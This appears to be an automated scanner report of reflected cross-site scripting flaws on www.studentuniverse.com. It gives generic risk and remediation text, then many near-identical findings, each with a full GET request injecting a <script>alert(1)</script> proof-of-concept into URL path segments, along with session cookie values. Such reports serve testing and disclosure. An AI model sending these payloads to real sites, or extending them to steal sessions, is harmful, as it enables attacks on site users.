Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f5dea<script>alert(1)</script>09a6216a70f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20f5dea<script>alert(1)</script>09a6216a70f/javascript/calendar.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=
The requested resource (/Build7.6.3.2_20f5dea<script>alert(1)</script>09a6216a70f/javascript/f5dea<script>alert(1)</script>09a6216a70f/javascript/calendar.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 225ab<script>alert(1)</script>7e6bb71d221 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript225ab<script>alert(1)</script>7e6bb71d221/calendar.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b74b6<script>alert(1)</script>0b1c879676a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/calendar.jsb74b6<script>alert(1)</script>0b1c879676a HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload ef1c6<script>alert(1)</script>098f54260a4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamicef1c6<script>alert(1)</script>098f54260a4/dynamicInfo.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload e954b<script>alert(1)</script>a5ff1d2009c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.jse954b<script>alert(1)</script>a5ff1d2009c HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a451a<script>alert(1)</script>c5549df35f2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamica451a<script>alert(1)</script>c5549df35f2/dynamicInfoExt.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload cd784<script>alert(1)</script>71d62806ff6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfoExt.jscd784<script>alert(1)</script>71d62806ff6 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload e7712<script>alert(1)</script>f570cab4380 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamice7712<script>alert(1)</script>f570cab4380/facebox.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload fae68<script>alert(1)</script>25dd993fd27 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic/facebox.jsfae68<script>alert(1)</script>25dd993fd27 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 7986e<script>alert(1)</script>e3e53080680 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic7986e<script>alert(1)</script>e3e53080680/main.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 195ed<script>alert(1)</script>6ac9d4442a7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic/main.js195ed<script>alert(1)</script>6ac9d4442a7 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 275fa<script>alert(1)</script>90356b5634e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic275fa<script>alert(1)</script>90356b5634e/main2.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 22a49<script>alert(1)</script>cbf1668edf4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic/main2.js22a49<script>alert(1)</script>cbf1668edf4 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload be4f8<script>alert(1)</script>31ee5a1e345 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamicbe4f8<script>alert(1)</script>31ee5a1e345/main3.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c67be<script>alert(1)</script>18df1c05ddf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic/main3.jsc67be<script>alert(1)</script>18df1c05ddf HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 7d716<script>alert(1)</script>da89ca93946 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic7d716<script>alert(1)</script>da89ca93946/main4.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 1af05<script>alert(1)</script>033bb08624e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/dynamic/main4.js1af05<script>alert(1)</script>033bb08624e HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload eccc4<script>alert(1)</script>36b2926b510 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20eccc4<script>alert(1)</script>36b2926b510/javascript/jScrollPane/jScrollPane.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20eccc4<script>alert(1)</script>36b2926b510/javascript/jScrollPane/eccc4<script>alert(1)</script>36b2926b510/javascript/jScrollPane/jScrollPane.js) is not availab ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c3bb2<script>alert(1)</script>f53d0bd90eb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascriptc3bb2<script>alert(1)</script>f53d0bd90eb/jScrollPane/jScrollPane.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload adb4e<script>alert(1)</script>9e5431dc653 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jScrollPaneadb4e<script>alert(1)</script>9e5431dc653/jScrollPane.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 710ef<script>alert(1)</script>44b4477bde7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js710ef<script>alert(1)</script>44b4477bde7 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f0ba1<script>alert(1)</script>af1a3f3bbef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20f0ba1<script>alert(1)</script>af1a3f3bbef/javascript/jScrollPane/jquery.em.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20f0ba1<script>alert(1)</script>af1a3f3bbef/javascript/jScrollPane/f0ba1<script>alert(1)</script>af1a3f3bbef/javascript/jScrollPane/jquery.em.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 700fa<script>alert(1)</script>3fb7b266058 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
